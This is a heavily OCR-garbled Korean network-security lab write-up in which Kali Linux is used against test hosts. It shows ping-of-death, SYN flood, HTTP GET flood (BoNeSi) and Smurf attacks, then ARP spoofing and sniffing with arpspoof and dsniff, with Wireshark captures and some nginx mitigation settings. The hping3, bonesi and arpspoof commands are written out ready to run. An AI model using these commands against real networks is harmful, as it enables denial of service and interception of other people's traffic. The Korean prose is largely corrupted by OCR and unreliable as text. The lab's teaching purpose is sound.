netstat?} 2 HEXI #H HHZ 0|8310] A|AHCQ

>~
i
ufny
jot
o
o
n

te
STABELISHED
TIME_WARIT
TIME_WAIT
TIME_WAIT

E:
TIME_WAIT
TIME_WAIT

TIME_WAIT

. ok L TIME_WAIT

mail . COil 42 TIME_WAIT
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HEQHWISHD BEE5 D

Ch. netdataE 0|83 ZLIEY
netdata®t 22 ZUEY £2 08310 MMl MEIS AZHojM ZLEY B 4 9UCh netdatas iRedMail SX3t0] B M€ 2
=

SO0|C} O|Qol= Chdt MY ZLHZ &2 8% + AL
- https://mail.abc.com/netdata/ - https://mail xyz.com/netdata

mail.abc.com netdata dashboard - Mozilla Firefox -

& Roundcube Webmail ::Inbox X | W mail.abc.com netdata dashb. X l+
&« c & G @, httpsmail abc.com/netdatas#many system submenu_cputhemesslar B | s O m eao =

mail.abc.com ~

= Applications Monitoring sect

2. ICMP T3l HE(ping of death)S 0|&% MH|A HE JZ - abc.com CH&

Ping of Death 342 =< 95, 981t E{|E6H 252 6.0 O3t HTO| AFBEIE EO|CE 49| 7|22
o A7|ELE obF 3 BHE mHAlE TEEH, of E A2 HELIE Sl 2RE Ho 34 HESRIN ===
Zi(fragment) 2 2 ZIWZTICH 32 Cieb2 ZZetE mizlg 25 XMoo st2z2 PoHQl ping2 Lt £35t7F Bo| Zalot
7t. hping3& O|&%t ping of death H&

@ hping3E 0|83t 34 CHAQl abc.comlE I{ZlS H&DHCE

kaligkali:~$% Sudo_hpingﬂl —icmp —rand-source www.abc.com -d 650080 —flood

[sudo] password for kali:

HPING www.abc.com (eth® 210.100.100.10): icmp mode set, 28 headers + 65008 data bytes

hping in flood mode, no replies will be shown

SO AR www.abc.comOf|A ICMP TI{Zle| A7|E 6500022 K|t MESHFCE 65000 27|12 A2 O A2 A7|2 XTZILEA
34 4 AFEOA M3EH, 34 i ARFEE M2 oiore fragmente| =7t S0{LIEZ 2317t Q0| Ze|A EICh

eN" 7|5

H L2 o

vl 7|5
--icmp mjzlo] ZRE ICMPE MEH
--rand-source SARe | £ UESHA 4
www.abc.com 34 & A|A”9| URL
-d 65000 &= mzlel Z0|E 65000H0|ERZ X
--flood 374 A2H”0| MM Jhset oHE HE S22 1j2l dE
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n 3L

MEIolE Yl DESH

[y LLS5=

1

fol

inl

@ 2F2H R1I} Sw4 AtO|o] FAE of0[0jAFRR RLEY ob Z:}, Ch3t 20| =Y ICMP THZI0| CHYSh ELX|ZEEH abccom
Hg &0l

(210.100.100.1002 &L= gholgt & Qlct
£ Capturing from - [R1 FastEthernet0/1 to SW2 8] — O x
File Edit View Go Capture Analyze Statistics  Telephony  Wireless  Tools  Help
BN 1RE Se=EZRpiEEQQaH
[ [iBpply a display filter - <Ctl=/> . ~| Expression-  +
Mo, Source Destination Protocol  Length Info A
3558 74.37.225.128 216.1p8.166.18 IPv4d 1514 Fragmented IP protocol (proto=ICMP 1, o
3551 128.226.131.7 216.108.106.18 IPv4d 1514 Fragmented IP protocol (proto=ICMP 1, o
3552 32.216.124.133 216.1008.166.18 IPv4d 1514 Fragmented IP protocol (proto=ICMP 1, o
3553 224.285.151.7 216.1008.106.18 IPv4 1514 Fragmented IP protocol (proto=ICMP 1, o
3554 42 .61.65.78 216.1008.166.18 IPv4d 1514 Fragmented IP protocol (proto=ICMP 1, o
< >
Frame 1: 1514 bytes on wire (12112 bits), 1514 bytes captured (12112 bits) on interface 8 ~
Ethernet II, Src: cB:81:37:88:808:01 (cB:01:37:88:88:81), Dst: PcsCompu_ef:be:4d (B8:08:27:ef:be:4
Internet Protocol Version 4, Src: 37.97.57.96, Dst: 218.160.160.18
Data (1488 bvtes) v
< >
08 0@ 27 ef be 4d c@ @1 37 08 00 81 88 8@ 45 @0 ORI . S SR E- A
@5 dc 8@ 67 26 81 3f @1 ba 89 25 61 39 68 d2 64 g&-? %a9” -d v
¥ FReady to load or capture | Packets: 3562 - Digplayed: 3562 ¢100.0%) || Profile: Default
sie mfals B2 ICMP MTUZHECH ZHA 22 1480HI0|EQ Z2Z}H EH%J%I% gholgt 4= ACk HiojH= 20| Y= 40l XMAXN
AR
M Wireshark - Packet 19101 - - - O *

Flags: Bx2681, More fragments la
Time to live: B3
Protocol: ICMP (1)
Header checksum: Bx3546 [validation disabled]
[Header checksum status: Unverified]
Source: 198.79.37.53
Destination: 210.188.1080.18
~ Data (1488 bytes)
Data: 585858585858585858585858585858585858585858585858...
[Length: 1488]

W
< >
BE’IIE} @5 dc 8@ 67 26 81 3f 35 46 be 4f 25 35 d2 64 ---g&-?l 5F-0%5-d "

20 b4 Ba 58 58 58 58 58 58 58 58 58 58 58 538 58 58 d- 2000000 2000000
58 58 58 58 58 58 58 58 58 53 538 58 58 58 58 58  OOO0OOCK OG0
58 58 58 58 58 58 58 58 58 53 58 58 58 53 58 58  OOOOOOO X0OCO00C -
Mo TRIDT - Time: 215188102 - Source: 100.78.37.53 - Dastination. 270.100.100. - Langth. 1514 - Infa’ Fragmentsd iF protocs! (prote=ICME 1. off=13320,

5%

® Clientol www.abc.com, mail.abc.com222| H&0| etk A28 =0y £ QCt

- Mozilla Firefox

» Roundcube Webmail Inbox X | "B mailabc.com netdata dashb. X | « NewTab x |+

X @ ) vanw.abc.com
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HBIQIHUWDSS D BEESH

(A=) ALSH W

@ B70| 0|RORE FolE WHO| MUR =X @7 HEK BHS SR 0| BLEYS Aol A0/ 30| AIREH FY
fl= mjzlel ¥ol Bt 1 ozl thREE2 =4 mzlYeS =eld = Ak £ A2 ST SA0 miale |FYE
A BAoIASS HAY & UL,

mail.abc.com netdata dashboard - Maozilla Firefox =
& Rotindcube Webmail - Welce % | "W mail.abc.com netdata dasht .‘xll www,3bc.com X |+
al-9w i o =

<« ¢ @ [ abc.com

mail.abc.com -

1 O AI2EO CPU 250 of Yots F=X| =tolstd, Ao CH3l siM5HA| 2.
SAS dA5t abccom| HOZO[A top FE2= HQAUS O, CPU, RAM2| F3t0fl= 2 F&2 OIXX| Y= A2z =l RACt
ping of death 342 ZZth +=E2 IS 0|82 SH0|2=2 CPUQ AMOILt Z2M A o= 20| §i7| WZ20[Cf,

SHR 5 %EPU %HEH

O R UIRT RES

1 root

a x

vall HHm

TIME+ COMMAND
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1
HRIHY DES D BE85]

[y ALLSH

MHIAE HBst= AIAEER SAI0 AT = Ues AKX =7F HMstz[of UCH
Ay 02 Sof 0] AY MHE SAI0f 300H0| M 4 Chete AIZO|Ch SAl M
A £ 83 Aoz AT 5= oLt AAHIS E2[FHQl d5(CPU, RAM, HE
3 &5, M2 Z2NA 5)0 el HEEY 20 8iCE SYN Flooding2 ZEXHSHK|
= ZC0|MEE MESI0 34 & MO TS AXE S04 X AHEXEO

V1] Received A MHAE MBSHK| R & St= 324 WOl
SV Received ANABS HE SYN GZO| i) 2o 7|Cha|X| &0 AN AlZH SH0H AZAS A
SYN Received Eotn J|cie|= & HEE QUCH M2tA SYN Flooding 342 H3st2{™ Ao A
e 7] AlZt otoll MEZF =88 = Ue ALBXL 9| SHAE HE AZZS Al

[3-Way Handshaking SYN Flooding 271 @ OF 2

@ hping3& 0|83t0 52 {42l abc.com22 SYN Flooding 84S 2ot

Icaliﬁ}lcali':~$ sud-jm'hpingﬁ -——rand-source ww.abc.com -p 88 -5 --flood

HPING www.abc.com (eth® 210.100.100.10): 5 set, 40 headers + 0 data bytes

hping in flood mode, no replies will be shown

=24 42 www.abc.comO A hpingS S8l 80H ZEZ SYN IfZlE XEHOZE MEY = UASH, -flood FME 0|20 FH2 Al
Ztof Crako| mjzlg MEE = UL

.28 s

H'-— =2

=M 7l
-p 80 80'H ZEO| CHsl mfzlE ™&THCL
-S TCP T2l A SYNDH M&oict,

@ BFRE R1If SW4 AtO|e] FAE 2A0|0{AIRE ZL|EY ot ZAnf, T30t 20| =R2 SYNI} SYN/ACKINZIO] MEE = A =l

2
g 4 9k,

£ Capturing from - [R1 FastEthernet0/1 to SW4 8] — O >
File Edit “iew Go Capture  Analyze Statistics  Telephony  Wireless  Tools  Help
mad® RE Se=2 EFLISZT =EQaaqH
(W | &pply a display filter - <Ctrl=/> ~| Expression---  +
_f\J.n-. Source Destination Protocol  Length Info =T, A
3591.. 248.168.65.241 218.1068.186.186 TCP 54 28431 - 88 [SYN] Seq=8 Win=512 Len=8
3591... 218.1688.106.18 248.168.65.241 TCP 60 B8 - 28431 [SYN, ACK] Seq=@ Ack=1 Win=6
3591. 186.3.313.175 216.108.186.18 TCP 54 28782 - 8@ [SYN] Seg=@ Win=512 Len=8
3591... 218.188.106.18 186.3.113.175 TCP 60 B8 - 28782 [SYN, ACK] Seq=8 Ack=1 Win=6
< »
Frame 352975: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface 8 h
Ethernet II, Src: cB:81:37:88:80:01 (c8:01:37:88:80:81), Dst: PcsCompu_ef:be:4d (B8:0808:27:ef:be:4
v Internet Protocol Version 4, Src: 192.168.1.16, Dst: 216.108.166.18
8180 .... = Version: 4 &
£ > |
0000 [NV 0 01 37 03 00 01 08 00 45 00 |[RREEL - 7 - E- ~
@8 34 38 28 409 90 3f @6 ©b 7b <0 a8 01 Ba d2 64 48(@-?- -1 d "
¥ PReady to load or capture Packets: 359118 - Displayed: 359118 (100,0%) || Profile: Default

mju

www.abc.comOi|A| netstatE O|83l0] 32 = TCP ZE &S ZL|HT si=H, CHADH PO 80 ZEZ SYN Izl ELf Sy

N_RECEIVEDZ} &7tst QL

r

rir
N
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HEIHUWNSE W FEESH
® Cliento| A www.abc.com, mail.abccom@ 22| H&£0| A=K O
. om - Mo
mail.abc.com netdata dasht. X | = abc.com/ X [
e X @ D & abc.com o @ 1y N 80 =

dEsta, HoleE =1 B FIN — FIN/ACKZE HZ

TCP 3-Way Handshaking2 SYN — SYN/ACK — ACKS| A& F1 ot HAZ
SYN — SYN/ACK7ZX|2 ZIgdo| |1 ACKZt MEE|X| % QUCt matAt HZ0| XF

2 Mt MEe = TYELE SHAR 2o HE2

GEEA B, oo met AE SR= EX| = O[T o2t 8&ES MEZ(Backlog)d RNt EHSHCE
A efe7| - 2

www.abccom?| & MH ClZel SFE &Q5tl, &4 43 § A 50 oo 43 52 Ui

14,0 (Ubuntu)
nginx2| AX HMHO| siEst= workerl UM 10242 X|HEO UCEH

HY efm7| - 3

HE0 AHESH nginx2| DDoS &% CH3 d3et oM E &S www.abccomO HE 7tssh AtetE2 &OoF X ESHA|R
23 1 : https:;//www.nginx.com/blog/mitigating-ddos-attacks-with-nginx-and-nginx-plus/

23 2 : https;//nginx.org/en/docs/http/ngx_http_core_module.html

23 3 : https:;//www.nginx.com/resources/wiki/start/topics/examples/full/

GI® 1 : Closing Slow Connections
server {
client_body_timeout 5s;
client_header_timeout 5s;
# .

}

GIH 2 : Limiting the Number of Connections
limit_conn_zone $binary_remote_addr zone=addr:10m;
server {

# ..

location /store/ {

limit_conn addr 10;
# ..



https://www.nginx.com/blog/mitigating-ddos-attacks-with-nginx-and-nginx-plus/
https://nginx.org/en/docs/http/ngx_http_core_module.html
https://www.nginx.com/resources/wiki/start/topics/examples/full/
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deleliHu nsstn 225

3. HTTP GET FloodingS 0| 8%t MH|A HE I
SAXZ} indexhtmldt 22 LS URLE B
M= URLY siEElE= CIO|EHE Sato|d
B2ot7t Ze{M MU 2 SEBHR| ZotA she

2 Azt otof HtENdoz QXS0 CHEol GET 84 HAIXIE YMAI7] MHEZE HEsIH
oA 2|43t7| 28 FMHl AtAS Mt=dHA ALESHA ECh ZAtMo 2 FAMHO| e
|
74

HTTP Get Request findex.php \

HTTP Get Reguest /index.php %—x o

1

Attack ) wwv.abc.com
HTTP Get Request /index.php

O AH8E BoNeSiE CH2EE OtA HX|SHA|2.

: https://github.com/Markus-Go/bonesi

1: Ubuntu 18.04 LTSO| EX|& &% o m7|X|E Ol2] 2x/g a7t ALt

8 I§7|X| : build-essential, libpcap-dev, libnet1-dev, autoconf, automake, gcc, git, make

ooy

o ux

bz

e R

b

K| g : sudo apt install build-essential
&3 2 9o mF|X| HX| o|F Ch2 1Y S &1I0] BoNeSiS HX|SHCH(ERS F 2P sudo HHO| A =

git clone https://github.com/Markus-Go/bonesi.git

dl

<
=

rir

rz
rZ
o

autoreconf -f -i
./configure
make

make install

@ sudo bonesi —p tcp —d etho I urllist.txt www.xyz.com:80 HHOZ urllisttxt T UA& urlS BHENHoZ QHGHA it

kalii!kal:i.:‘-.r’Downluadsfbunesi—master$ sudo bonesi -p tcp -d eth® -1 urllist.txt weww.xyz.com:8@

Warning: There is noch File with useragent names! The user-agent:

Mozilla/5.@ (X%11; U; Linux %86 64; en-US: rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.8.8 (Debian-2.0.0.6+
}

will be used.

dstlp: 125.241.100.10
dstPort: 80
protocol: 6
payloadSize: 32

MTU: 1580
fragment mode: IP

rate: infinite
ips: (null)
urls: urllist.txt
useragents :: (null)
stats file: stats
device: eth@
maxPackets: infinite
format: dotted
toggle: no

reading urls file ... done

12@@0@ port search iterations
20000 port search iterations
30000 port search iterations
18000 port search iterations
18000 port search iterations

AABAR mawmd - b Sdnwmadlnm~



https://github.com/Markus-Go/bonesi
http://www.xyz.com:80
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1
HEIoIFYDEStD e

(ALE =y}

ot

fol

LLS= =]

@ 2AO|O{AIRE o838l ZLIEZ RLEZ S|EH urllisttxte] SZLHZ CHEFO| HTTP GET QHO0| §7f°f
urlE A = YASM,

Sffof StE 2 olE{st @

QHE url2 M|

M ¥t url2 =l

=Xt

EXfoLX
Mol I =B AlAge

ot
[ -y

url=

Ug 4 UxILk

F|I'

S| M 3
S8t B XA HC

,d *- [R2 FastEthernet0/0 to SW2 8] — O =
File Edit “iew Go Capture Analyze Statistics Telephony Wireless Tools Help
m @ TRERe2=Z P FE = QAqQaB
[ [hip «| Expression-  +
Mo, Source Destination Protocol - Length  Info A
16.. 125.241.166.186 192 ;1681 .99 HTTP 414 HTTP/1.1 484 Not Found (text/html)
16... 192 .168.1.99 125.241.1068.16 HTTP 485 GET f HITP/1.8
17 192.168.1.99 125.241.168.18 HTTP 4808 GET /a.jpg HTTP/1.8@
7. 192.168.1.99 125.241.1068.16 HTTP 484 GET f HITP/1.8
17 192.168.1.99 125.241.168.18 HTTP 472 GET /index.php HTTP/1.8
17 125.241.160.18 192.168.1.99 HTTP 414 HTTP/1.1 484 Not Found (text/html)
< ' ' >
<htmls<heads>\n ~
<title»dB4 Not Found</titlex‘\n
</head»<body>\n
<h13Mot Found</h13\n v
< >
cl@ 82 15 58 00 68 B8 68 27 ab cf db 68 68 45 B8 X- ' E *
10 B1 98 81 f5 406 68 48 86 13 6c 7d fl 64 Ba cb a8 @@ -1}-d- v
(0 7 wireshark_-_20200303001 154_a 15252, pcapng | Packets: 206601 - Displayed: 352 (0,2%) || Profile: Default

CHS GET Flooding

20] chHof chsh

ROLEA|Q.

2 H

T

rot

L

il

h

X 9F
o

27X

MM
=

=0

02 yhot

Al ZH

[
A
H=

g Ho|x|
AAX 2

URL

W

7|-AA|7|

o T,

M Slow HTTP Header DoS(Slowloris)

M=

SEBA .

HTTP HA|X|Q| 3G
of M7t SHPEE F2S = o
S

2tef olg{gt HoIHE

= L

St El= DoS AEH7L RUE

Ao DAR=

222 oix

Flooding with Cache-Control(CC Attack)
2 gAeel 218
SHSEE THSE

MHe| 7|55 75ty

7| 28l IHEMHE
HTTP TIA|X| 2]

I
MH e AAE 2TA7|I= 4

2519
7HA

[u]

I-Ol
g

()

3

e HolE2|

ObEl HTTP ol LY =7t
= 32 MHE OE g4

[k =
g xxBH0]

Q3 HolE(O

=222 10 S rul
ST= J-ﬂ'[:|_|'0|_|'|:|- sS4
=

o ARTI
N MB{ZE Obl A 7t

)= AMETL of FHAMHE
AE Halstes

FESHA

Bt}
OF

=)
x

e

[> mY |o

N mo

HE 0 A
>~

N
- =

o rH njo
i

o Ok

or N

r
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1
HEIoIFHYDEStD) HEE5])

[y LLS5= =]

fol

4. Smurf(Direct Broadcast) #4|9] A{H|A 75

Smurf 342 0| HEQIAE 34st=0 Ot = AEEIM, Ping of DeathX 3 ICMP IfZl FoA 342 Oo|HE HE¥
30| SAjASl FAE ZLUX|ZE SHE ICMP Request I§ZS METHCH ICMP Request TI{ZlS BH2 OO|ME W ERA LHo| HAHER
SHUYOA ICMP Reply THAlS EUA =2, ZHHO2 SHMY2 Ping of DeathX 3 CHE2l ICMP T2l 542

5 @ F_

B3] L N ey Tz

oI-J
N

ru|o
o
olo
o
n

— — ——+ ICMP Request Ii3!
— ICMP Reply I3/

(0018 E]

@ sudo hping3 192.168.1.255 —a www.xyz.com --icmp —flood HH22 Direct BroadcastE 2EICH S4XH= 192.168.1.02| Z&
SAENA ww.xyz.com(125.241.100.10) ICMP Request(2&)IZ& H&siCt

kali@kali:~$ sudo hping3 192.168.1.255 -a www.Xyz.com ——icmp --flood
HPING 192.168.1.255 (eth® 192.168.1.255): icmp mode set, 28 headers + @ data bytes
hping in flood mode, no replies will be shown

@ 192.168.1.2022 125.241.100.100 A 2H3t ICMP Request’t CHH 22 FElE= A
125.241.100.102 2 ICMP ReplyS E2LH{A =lCt.

fjo
tor

olgt 4= QICh @K Hhe 192.168.1.202

£ cCapturing from - [SW1 2 to Client 2 Ethernet0] — O x

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools  Help
B ® RERex=F LI =EAQaqH

[ [4pply a display filter - <Ctl-/» . ~| Expression--  +

Mo, Source Destination Protocol  Length Info A
L 125.241.1608.16 192.168.1.255 ICMP 608 Echo (ping) request id=8x4286, seq=365:
52 125.241.198.18 192.168.1.255 IcMp 68 Echo (ping) request id=8x4206, seq=467
524 125.241.188.18 192.168.1.255 ICMP 60 Echo (ping) request id=0x4286, seq=697
) 125.241.186.18 192.168.1.255 ICMP 68 Echo (ping) request 1id=0x4286, seq=880 ..

< >
Frame 5298: 68 bytes on wire (488 bits), 60 bytes captured (488 bits) on interface 8 ”

Ethernet II, Src: PcsCompu 1f:38:76 (B8:88:27:1f:38:76), Dst: Broadcast (ff:ff:ff:ff:Ff:Ff)
Internet Protocol Version 4, Src: 125.241.168.18, Dst: 192.168.1.255
v Internet Control Message Protocol
Type: 8 (Echo (ping) reguest)

Code: @ s
2868 £+ ff £ff £f £f £f 88 88 27 1f 38 76 B8 80 @ Be t B - A
0018 88 1c b2 7f 66 60 48 81 23 bf 7d fl 64 Ba cP a8 @ #-}-d v
¥ Ready to load or capture || Packets: 49735 - Displayed: 43735 (100,0%) Frofile: Default
Smurf HE O|O|HEZ AfBste SAEC| 47F BE42 ANt Ak 1 0lgE 2R

Smurf 342 OO|HEZ A8El= 2AETL 5 SUAHO| B2 ICMP ReplyE 4 Al2HECZ HYE £ QAT MEtM Ofo|HE
2 MEEE HEHR W =AET HEsE gt AL,
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HElH Y DESD BE8

(ALE =y}

=

st

® 192.168.1.2540 A 125.241.100.102 CH&O| ICMP Reply7t R El= AS ol = ULt
£ +- [R2 FastEthernetd/0 to SW2 8] - O *
File Edit Wiew Go (Capture Analyze Statistics Telephony Wirgless  Tools  Help
(Bd6 DREQes=Ta=Eaaqan
[ [icmp [] ~| Expression-:  +
Mo, Source Destination Protocol  Length  Info A
29, 192 .168.1.254 125.241.186.18 ICMP 42 Echo (ping) reply id=0xBedb, seq=367:
29.. 192.168.1.254 125.241.108.10 ICMP 42 Echo (ping) reply id=BxBeBb, seq=137
29.. 192.168.1.254 125.241.160.16 ICMP 42 Echo (ping) reply id=0xBefh, seq=526
29.., 192.168.1.254 125.241.186.18 ICMP 42 Echo (ping) reply id=BxBedb, seq=336
29, 192.168.1.254 125.241.186.16 ICMP 432 Echo (ping) reply id=0xBef6, seq=935. .,
< >
v Internet Control Message Protocol A
Type: 8 (Echo (ping) reply)
Code: B
Fhiva- L BT T 1 .
< >
88 88 27 a6 cf db c8 82 15 58 09 08 68 68 45 60 X- E- ~
318 88 1c 85 93 08 88 fe 1 12 ac cB aB @1 fo 7d F1  -cccivi e +-
W

@ =

Internet Control Message Protocol (icmp), 8 bytes

|| Packets: 301560 - Displayed: B30B (2.8%) || Profile: Default

@ www.xyzcom?| ZHO|X| &

-

C
o o =

#

« Restore Session

X @

Waiting for www.xyz.com...

bekSE X|910]

wBC

.

Restore Session - Mozilla Firefox

|+

@ e ¥YZ.COM

I D
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deleliHu nsstn 225

ARP Spoofing, Sniffing

AFY(Spoofing)® AFHH oloj Holcholct HEYINN AT B2 MAC X4, PF2, EE S UEYI NI BEE 2E
20l B 4 Un, ARTS £US 0183 BH2 FYUCL ARTL 20/ J|¥S Sof SU BE2 YT, Mgt F2o[9EY)
SAg AL g ol BARE 20| ABEL

HEO| AHEE dsniffS CHRZE HOtA MX|SIAIR. X dsniff : ALIZS QIst AtE3 £0|04, CHYst E8 Eetstn QUL
&3 : https://www.monkey.org/~dugsong/dsniff/

kali@mkali:~$ sudo apt install dsniff
[sudo] password for kali:
Reading package lists ... Done
Building dependency tree
Reading state information ... Done
The following additional packages will be installed:
libnids1.21
The following MEW packages will be installed:
dsniff libnidsl.21
@ upgraded, 2 newly installed, © to remove and 556 not upgraded.
Need to get 130 kB of archives.
After this operation, 496 kB of additional disk space will be used.

1. ARP 2%
ARP ARTZ2 MACFAE HZSHO LANOIMC 40| SE& AFA7|= HOICL WM SZAet SALHEE2 22 LANO| A0{0F BhCt.
Haxel g4 st ARP AFT ZA Ay
= A ZEHE HIZE A iy A HIZE B
AEEAR AEEBI M2 HAXMOoz EAlSD Q= Azl | ARP AZTOZ HEEAR AEEB ALO|O] 7|0{E At 242 Algt
HZEA GIE=15] HIE A J_Jm ey
AFEAQ AFEBI M2 HAHOZ EAMSIT = M3 | ARP AZTLOZ HFEEALQ 2H2E ALO|0] 7|0{E Anp ZH2 Az
7t. ARP AFEZO| THA|
5040 14.58.90.5/30
s0/1 1458.90.9/30
enpls3 192.168.1.10/24 | | 180/0 192.168.1.2534/24 s0/0 14.58.90.6/30 enp0s3 125.2541.100.10/24
enp0s@ NAT fal/1 210.100.100.254/24 fa0/0 125241.100.254/24 enplsg NAT
=
Gent SV R2 /’// Swz XYZ.00m
DINS
\
‘ eth 192.168.199/24 | 2np0s3 210.100.100.10/24 50/0 14.58.90.10/30 enp0s3 888 88/24
enplsg NAT ta0/0 8.8.8.254/24 enpOss NAT
Client IP 192.168.1.10 @ KaliZt Cliento| Al XtAQ] MACELAE R1-f0/02] MAC FAQ ZHNE £0M YEE
M MAC 08.0027:d3f878 @ KaliO| R1-f0/001 A XHAIS] MACEAE Cliente] MAC 491 UMY &0M LBE
Gateway | IP 192.168.1.254 ® Client2} R1-f0/0= Kali® MACELAE ME MY HEEQl MACFAZID L3 oo
(R1-f0/0)  MAC = ¢0:01:37:08:00:00 Z, Cliente} R1-f0/07} == Tzl 2% Ka||01|71| MetgE
Cali 1P 192.168.1.99 @ Kali= Client?t R1-f0/07t MZO0|H Bl Tzle ZF 942 =0 2 HFHA 2
MAC  08:00:27:1f:30:76 HAMoz HIfE
2} AE 9 AO|EQ 0o MACTAE MEshe HARFHOCH CHE = ULt



https://www.monkey.org/~dugsong/dsniff/
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SRQHYWDSSD Y25

- ALoﬁ

L} ARP 2FT ZH M Client?t Gateway(ZH2E{ R1-f0/0) MACEA 2ol
@ 3ZX7L £t LANQ| Zt SAE A O|EQ0|0f CH IPFA MACTEAE oIt

kaliakali:~% ip link show eth®
2: eth®: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc pfifo_fast state UP mode DEFAULT group default
link/ether @8:00:27:1f:30:76 brd ff:ff:ff:fF:ff:FFf

kaligkali:~$ sudo arp
[sudo] password for kali:

Address Hwtype HWaddress Flags Mask Iface
192.168.1.10 ether PE:@0:27:d3:fB:78 C ethe
192.168.1.20 ether BE:@0:27:59:73:8b C ethe
152.168.1.254 ether c@:@1:37:08:08:00 C eth@d
@ ARP AFWUZ 0|83t ALTE S7|X el 34xts 2 S4Udel 1i2ls oA MFEHT) siFo{of otCt ChZat 2
O| Kaliel Z=|d SMZ &gz} oict

kaliakali:~% cat /proc/sys/net/ipva/ip_forward

@

kaliakali:~% sudo bash -c 'echo "1" > /proc/sys/net/ipvi/ip_forward’
kaligkali:~% cat /proc/sys/net/ipv4/ip_forward

Ho
=
N
nx
0z
Ot
rir
o
ro
fjo
[El
Hu
=

>

=

%
»a
0=
0x
rm
[El
Hu
=

P

Y ZHZE X @eCh S
.

kaliakali:~% echo "1" > /proc/sys/net/ipvi/ip_forward
bash: /proc/sys/net/ipv4/ip_forward: Permission denied
kaligkali:~$

kaligkali:~% sudo eche "1" > /proc/sys/net/ipvd/ip_forward
bash: /proc/sys/net/ipv4/ip forward: Permission denied

[ >

2 WNSH0| HES +WSHs HOICh O] FD sudo0f gt M MBS XA =
S

shellofl Al E|CIO[2ME-S A3 A2 At ZEZN| ob Ho
| T x <] FC}.

o
EM20AH=E HEEIX 47 bR Y

Ok

tOf, Kali?t R1-f0/0(Gateway)Ql AN IETICE ARP AF

@ Kali®lA ClientO|H] ARP A2ZH ZHZS
o SHAL 22 ¥

o-Ix;ioF o|-E'§ _._71 Etl

£ =
FHO : arpspoof -i HILE -t SACHAIPFT E-ly

IPFEA
kaliakali:~% sudo arpspoof -1 eth@® -t 192.168.1.254 192.168.1.10
[sudo] password for kali:

8:0:27:1f:30:76 c@:1:37:8:0:0 0806 42: arp reply 192.168.1.10 is-at 8:0:27:1f:30:76
8:@:27:1f:30:76 c@:1:37:8:0:0 @806 42: arp reply 192.168.1.10 is-at 8:0:27:1f:30:76

kaliakali:~% sudo arpspoof -1 eth® -t 192.168.1.10 192.168.1.254

B:@:27:1f:30:76 B:0:27:d3:f8:78 0806 42: arp reply 192.168.1.254 is-at 8:0:27:1f:30:76
8:0:27:1f:30:76 8:0:27:d3:f8:78 0886 42: arp reply 192.168.1 8:@:27:1f:30:76
(® ARP AFELO| O|F0{Tl C}E 4 TAEOQ|A ARP HIO|E22 &QISIH CHEat 20| HEE {2 =l 5= QUL

=

A

192.168.1.99
gateway

OlHl Kali2 Cliente} R1 AO|O|M T ZAE Zio| Fagt= 1fzlg 2F = A= MENZE Z[RACEH KaliolM tcpdump = Wireshark,
=
=

dsniffel 22 Ciget FEEZ|EIE 0|83t WS 24510 20| A= Y&
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MEIoIFYDEStD HEYS D}

(A=) ALLSH

ARP Spoofing 342 +¥5t7| I arpspoof -i WILE -t SHULIPFA HEEIPFA HHES BtEHo2 HAMSt= O|FE?
ARP EH|O|2 SHOZ {X|ZE2 HEMOZ HXIE ARP ReplyE ELHX| Fo™ HHEOl ARP ReplyO| 2Jsff #ZEl ARP E|O|20]
o

=
=
TrstE = QU

% sudo arp -s 192.168.1.254 c0:01:37:08:00:00

for sunrin: MAC HO|22 ZAFH7t 222 mjjoict -2
2 ¥ MACEAE 18s7| fsiMe x| o
. HECENIEE = CHE0| A|AH SEAOICH XIS 2 HALZE
192.168.1.99 ether 65 C sfjoF ot

gateway ether . M

2. Sniffing
AL (Sniffing)2| AFMA ol0|= '2E FFA2ICho|ct ZE F3A2lX0| =83t Holy £0jM 2R3 WEE = Ao|Ch F, ALY
2 ALHE 4X5tn HEYIA0 SOoitii s =H2 {2l KoM o3 WEE +=Hse 0|tk ALES Soff AHUS AESHHN
At AFa A/E, HAMME S = 2= 0|07 £ oY, o HAO|EOM ol EE B0 JUsX| Sk Lot £ ULk
ALEE Y2 7|=0| EREHX| §UX[TH O msfe LFLET| I20| 2oF H2[X} #0Ho| ofL|2f Yut AFEXE FO[sHof SOt
7t. eH7tE =2|0|F 0 A (Promiscuous) ZE MHH
ZZ|0jF0A BEE ALEO| Jhs%t REO|DE MItEE =4Akl= Tf2le] SHX| MACEAL IPFAE B3 AR MACEL E= IP
FA7F OtL®H TZlE He|d, £AEE TiZlol SHX| MACEALL IPFEATL PCO| MACF AL IPFAQF LX|SHH TS SAHMH A
dAF = EHES ™I
Z2|0|70lA ZE&= o HHEZ SiAsto] mjzlel |HX| FA00 Aol Az RE If2lE 2IMAME E7|A ot ALEE2
OlEA =48 I2E F0AM L3 YEE Fot= Ao|Ct
Z2|0170lA 2EE AZEQOHQ Z0|H, 2l5A/fHY200Ne 40| 7t5stt AER0Me HEo| EBO|HE HX[SHAHLE ELIH
g 7150| YUes HMILED AHEE 5 QUL

@ eth02 promisc 2EZ HH3IC}

kaligkali:~% ip link show eth®

2: eth®: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1508 gdisc pfifo_fast state UP mode DEFAULT group default
link/ether B8:00:27:1f:30:76 brd ff:ff:ff:ff:ff:ff

kaligkali:~$ sudo ip link set eth® promisc on

kaligkali:~% ip link show eth®

2: eth@®: <BROADCAST,MULTICAST,PROMISC,UP,LOWER_UP> mtu 1500 gdisc pfifo_fast state UP mode DEFAULT group
1008

link/ether @8:00:27:17:30:76 brd ff:ff:ff:ff:ff:Ff

lo

@ ARP ATTS 0|83 ALTE SIIR Lo IAXE 2 BATIMY IS HoiolA HLEHTY) HFO{OF BTk che Tt 2
o Kaliol ZRE B4 B BT

kaligkali:~$ cat /proc/sys/net/ipv4/ip forward
a

kaliakali:~% sudo bash -c 'echo "1" > /proc/sys/net/ipvé4/ip_forward’
kaliakali:~$ cat /proc/sys/net/ipv4/ip forward
1

® KalioflAl Client0fH| ARP AF L ZZHZ W30, Kali7t R1-f0/0(Gateway)Q! AKX EH AT ARP AFH
O|XMof st22 34 P2 2 HO|HoM HEE HSI/L 34 P S st 20l YAZRERE Tt
kaliakali:~% sudo arpspoof -1 eth® -t 192.168.1.254 192.168.1.10

kaligkali:~$ sudo arpspoof -1 eth® -t 192.168.1.106 192.168.1.254
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HEQHWISHD BEE5 D

@ 7t2H™ ZloM R8% YEE NHS22 FESHY| Qs dsniffE HASHY 72 Hzlg ZLHZ oo

